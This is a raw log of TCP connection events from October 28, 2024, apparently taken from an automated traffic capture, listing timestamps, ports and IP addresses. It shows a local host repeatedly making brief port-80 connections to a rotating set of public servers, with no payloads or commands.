Oct 28, 2024 16:51:55.654402971 CET	50051	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:55.654433966 CET	50051	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:55.659960985 CET	80	50051	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:55.659976006 CET	80	50051	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:56.322695017 CET	80	50051	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:56.323013067 CET	50051	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:56.329243898 CET	80	50051	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:56.329308987 CET	50051	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:56.336673975 CET	50052	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:56.342303038 CET	80	50052	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:56.342381954 CET	50052	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:56.342493057 CET	50052	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:56.342518091 CET	50052	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:56.347971916 CET	80	50052	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:56.348042965 CET	80	50052	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:57.040076017 CET	80	50052	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:57.040245056 CET	50052	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:57.046431065 CET	80	50052	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:57.046494007 CET	50052	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:57.063070059 CET	50053	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.068507910 CET	80	50053	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:57.068566084 CET	50053	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.068813086 CET	50053	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.068835020 CET	50053	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.074172974 CET	80	50053	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:57.074187040 CET	80	50053	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:57.902734041 CET	80	50053	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:57.902880907 CET	50053	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.902934074 CET	50053	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.906598091 CET	50054	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.908469915 CET	80	50053	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:57.912101030 CET	80	50054	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:57.912192106 CET	50054	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.912318945 CET	50054	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.912353992 CET	50054	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:57.917836905 CET	80	50054	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:57.917869091 CET	80	50054	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:58.725184917 CET	80	50054	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:58.725276947 CET	50054	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:58.725627899 CET	50054	80	192.168.2.5	72.52.178.23
Oct 28, 2024 16:51:58.731724977 CET	80	50054	72.52.178.23	192.168.2.5
Oct 28, 2024 16:51:58.741964102 CET	50055	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:58.748025894 CET	80	50055	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:58.748111010 CET	50055	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:58.748231888 CET	50055	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:58.748266935 CET	50055	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:58.753669024 CET	80	50055	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:58.754019976 CET	80	50055	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:59.424982071 CET	80	50055	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:59.425162077 CET	50055	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:59.434840918 CET	80	50055	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:59.434911966 CET	50055	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:59.439990044 CET	50056	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:59.445496082 CET	80	50056	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:59.445581913 CET	50056	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:59.445733070 CET	50056	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:59.445733070 CET	50056	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:59.451330900 CET	80	50056	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:59.451361895 CET	80	50056	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:00.889324903 CET	80	50056	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:00.889576912 CET	50056	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:00.895925045 CET	80	50056	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:00.896013021 CET	50056	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:00.904447079 CET	50057	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:00.909997940 CET	80	50057	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:00.910074949 CET	50057	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:00.910176039 CET	50057	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:00.910197973 CET	50057	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:00.915535927 CET	80	50057	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:00.915559053 CET	80	50057	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:01.563652992 CET	80	50057	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:01.563950062 CET	50057	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:01.569696903 CET	80	50057	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:01.569758892 CET	50057	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:01.579511881 CET	50058	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:01.585053921 CET	80	50058	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:01.585254908 CET	50058	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:01.585447073 CET	50058	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:01.585484982 CET	50058	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:01.591012001 CET	80	50058	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:01.591032982 CET	80	50058	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:02.239166975 CET	80	50058	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:02.239269018 CET	50058	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:02.239331961 CET	50058	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:02.240437031 CET	50059	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:02.244837046 CET	80	50058	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:02.245884895 CET	80	50059	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:02.245980024 CET	50059	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:02.246095896 CET	50059	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:02.246130943 CET	50059	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:02.251513004 CET	80	50059	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:02.251575947 CET	80	50059	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:02.930613041 CET	80	50059	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:02.930711031 CET	50059	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:03.047749043 CET	50059	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:52:03.053343058 CET	80	50059	172.234.222.138	192.168.2.5
Oct 28, 2024 16:52:03.154850006 CET	50060	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:03.160995007 CET	80	50060	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:03.161083937 CET	50060	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:03.162542105 CET	50060	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:03.162570953 CET	50060	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:03.168184996 CET	80	50060	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:03.169024944 CET	80	50060	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:04.176521063 CET	80	50060	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:04.176780939 CET	80	50060	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:04.176959991 CET	80	50060	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:04.176964045 CET	50060	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:04.177002907 CET	50060	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:04.177002907 CET	50060	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:04.182749033 CET	80	50060	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:04.194262981 CET	50061	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:04.199984074 CET	80	50061	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:04.200179100 CET	50061	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:04.200233936 CET	50061	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:04.200253963 CET	50061	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:04.205648899 CET	80	50061	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:04.206290007 CET	80	50061	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:04.877710104 CET	80	50061	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:04.877973080 CET	50061	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:04.884352922 CET	80	50061	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:04.884426117 CET	50061	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:04.895970106 CET	50062	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:04.901796103 CET	80	50062	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:04.901994944 CET	50062	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:04.902137995 CET	50062	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:04.902153969 CET	50062	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:04.907531977 CET	80	50062	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:04.908015013 CET	80	50062	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:05.731158018 CET	80	50062	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:05.731542110 CET	50062	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:05.737680912 CET	80	50062	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:05.737797976 CET	50062	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:05.847337008 CET	50063	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:05.853061914 CET	80	50063	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:05.853166103 CET	50063	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:05.856065035 CET	50063	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:05.856118917 CET	50063	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:05.861463070 CET	80	50063	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:05.861660004 CET	80	50063	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:06.679814100 CET	80	50063	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:06.680195093 CET	50063	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:06.688065052 CET	80	50063	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:06.688142061 CET	50063	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:06.882041931 CET	50064	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:52:06.887557030 CET	80	50064	34.246.200.160	192.168.2.5
Oct 28, 2024 16:52:06.887651920 CET	50064	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:52:06.887774944 CET	50064	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:52:06.887804985 CET	50064	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:52:06.893213034 CET	80	50064	34.246.200.160	192.168.2.5
Oct 28, 2024 16:52:06.893250942 CET	80	50064	34.246.200.160	192.168.2.5
Oct 28, 2024 16:52:07.864963055 CET	80	50064	34.246.200.160	192.168.2.5
Oct 28, 2024 16:52:07.868782043 CET	50064	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:52:07.875051975 CET	80	50064	34.246.200.160	192.168.2.5
Oct 28, 2024 16:52:07.875129938 CET	50064	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:52:07.887623072 CET	50065	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:07.893210888 CET	80	50065	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:07.893280029 CET	50065	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:07.893467903 CET	50065	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:07.893503904 CET	50065	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:07.899084091 CET	80	50065	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:07.899142981 CET	80	50065	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:08.790822983 CET	80	50065	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:08.791062117 CET	50065	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:08.803889036 CET	80	50065	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:08.803992987 CET	50065	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:08.807908058 CET	50066	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:08.813678980 CET	80	50066	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:08.813774109 CET	50066	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:08.813956976 CET	50066	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:08.813987017 CET	50066	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:08.819514990 CET	80	50066	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:08.820050955 CET	80	50066	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:10.247664928 CET	80	50066	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:10.247998953 CET	50066	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:10.254595995 CET	80	50066	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:10.254684925 CET	50066	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:10.364406109 CET	50067	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:10.371494055 CET	80	50067	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:10.371582985 CET	50067	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:10.371886015 CET	50067	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:10.371917963 CET	50067	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:10.377883911 CET	80	50067	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:10.378479004 CET	80	50067	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:11.836721897 CET	80	50067	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:11.837136030 CET	50067	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:11.842998028 CET	80	50067	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:11.843075991 CET	50067	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:11.853681087 CET	50068	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:11.859380960 CET	80	50068	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:11.859469891 CET	50068	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:11.859622955 CET	50068	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:11.859649897 CET	50068	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:11.865607977 CET	80	50068	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:11.866082907 CET	80	50068	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:12.522706032 CET	80	50068	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:12.523103952 CET	50068	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:12.529578924 CET	80	50068	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:12.529659033 CET	50068	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:12.541495085 CET	50069	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:12.547427893 CET	80	50069	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:12.547885895 CET	50069	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:12.548007011 CET	50069	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:12.548091888 CET	50069	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:12.553875923 CET	80	50069	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:12.553915024 CET	80	50069	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:13.222980022 CET	80	50069	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:13.223212957 CET	50069	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:13.230946064 CET	80	50069	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:13.231184006 CET	50069	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:13.330342054 CET	50070	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:13.336154938 CET	80	50070	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:13.336245060 CET	50070	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:13.336462975 CET	50070	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:13.336535931 CET	50070	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:13.341907024 CET	80	50070	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:13.342564106 CET	80	50070	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:13.998702049 CET	80	50070	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:13.998883963 CET	50070	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:14.004847050 CET	80	50070	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:14.004909039 CET	50070	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:14.014271021 CET	50071	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:14.019853115 CET	80	50071	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:14.019922972 CET	50071	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:14.020118952 CET	50071	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:14.020148039 CET	50071	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:14.025561094 CET	80	50071	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:14.025590897 CET	80	50071	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:15.880515099 CET	80	50071	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:15.880718946 CET	80	50071	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:15.880743980 CET	50071	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:15.880779028 CET	50071	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:15.888673067 CET	80	50071	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:15.888741970 CET	50071	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:15.897160053 CET	50072	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:15.902703047 CET	80	50072	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:15.902800083 CET	50072	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:15.902965069 CET	50072	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:15.903019905 CET	50072	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:15.908570051 CET	80	50072	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:15.908612013 CET	80	50072	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:16.570225000 CET	80	50072	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:16.570446014 CET	50072	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:16.577128887 CET	80	50072	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:16.577313900 CET	50072	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:16.586467028 CET	50073	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:16.592012882 CET	80	50073	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:16.592130899 CET	50073	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:16.592303991 CET	50073	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:16.592336893 CET	50073	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:16.597836971 CET	80	50073	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:16.597867966 CET	80	50073	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:17.427901030 CET	80	50073	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:17.428179979 CET	50073	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:17.434021950 CET	80	50073	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:17.434099913 CET	50073	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:17.443380117 CET	50074	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:17.449016094 CET	80	50074	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:17.449105978 CET	50074	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:17.449295044 CET	50074	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:17.449332952 CET	50074	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:17.454684973 CET	80	50074	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:17.454740047 CET	80	50074	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:18.271089077 CET	80	50074	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:18.271620989 CET	50074	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:18.278964996 CET	80	50074	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:18.279056072 CET	50074	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:18.288871050 CET	50075	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:18.294321060 CET	80	50075	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:18.294435024 CET	50075	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:18.294682026 CET	50075	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:18.294738054 CET	50075	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:18.300026894 CET	80	50075	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:18.300057888 CET	80	50075	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:20.084760904 CET	80	50075	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:20.084997892 CET	80	50075	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:20.085071087 CET	50075	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:20.085160971 CET	50075	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:20.098843098 CET	50076	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:20.101341009 CET	80	50075	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:20.101401091 CET	50075	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:20.104198933 CET	80	50076	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:20.104254961 CET	50076	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:20.104408026 CET	50076	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:20.104423046 CET	50076	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:20.109734058 CET	80	50076	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:20.110299110 CET	80	50076	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:21.532591105 CET	80	50076	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:21.533056974 CET	50076	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:21.538985014 CET	80	50076	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:21.539113998 CET	50076	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:21.547883034 CET	50077	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:21.554702044 CET	80	50077	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:21.554821014 CET	50077	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:21.555071115 CET	50077	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:21.555151939 CET	50077	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:21.560607910 CET	80	50077	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:21.560637951 CET	80	50077	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:22.219712019 CET	80	50077	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:22.219883919 CET	50077	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:22.226288080 CET	80	50077	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:22.226361036 CET	50077	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:22.233441114 CET	50078	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:22.238955021 CET	80	50078	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:22.239029884 CET	50078	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:22.239156008 CET	50078	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:22.239190102 CET	50078	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:22.244942904 CET	80	50078	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:22.244973898 CET	80	50078	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:22.907759905 CET	80	50078	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:22.907954931 CET	50078	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:22.913816929 CET	80	50078	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:22.913892031 CET	50078	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:22.922235966 CET	50079	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:22.927637100 CET	80	50079	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:22.927714109 CET	50079	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:22.928023100 CET	50079	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:22.928083897 CET	50079	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:22.933446884 CET	80	50079	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:22.933631897 CET	80	50079	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:24.365535021 CET	80	50079	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:24.365890026 CET	50079	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:24.678330898 CET	50079	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:24.733189106 CET	80	50079	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:24.733372927 CET	50079	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:24.737296104 CET	80	50079	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:24.741017103 CET	80	50079	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:24.741071939 CET	50079	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:25.502527952 CET	60569	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:25.508161068 CET	80	60569	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:25.508285999 CET	60569	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:25.508419991 CET	60569	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:25.510689020 CET	60569	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:25.513751984 CET	80	60569	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:25.518452883 CET	80	60569	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:26.182507038 CET	80	60569	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:26.182845116 CET	60569	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:26.188833952 CET	80	60569	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:26.188905954 CET	60569	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:26.196549892 CET	60570	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:26.202124119 CET	80	60570	44.221.84.105	192.168.2.5
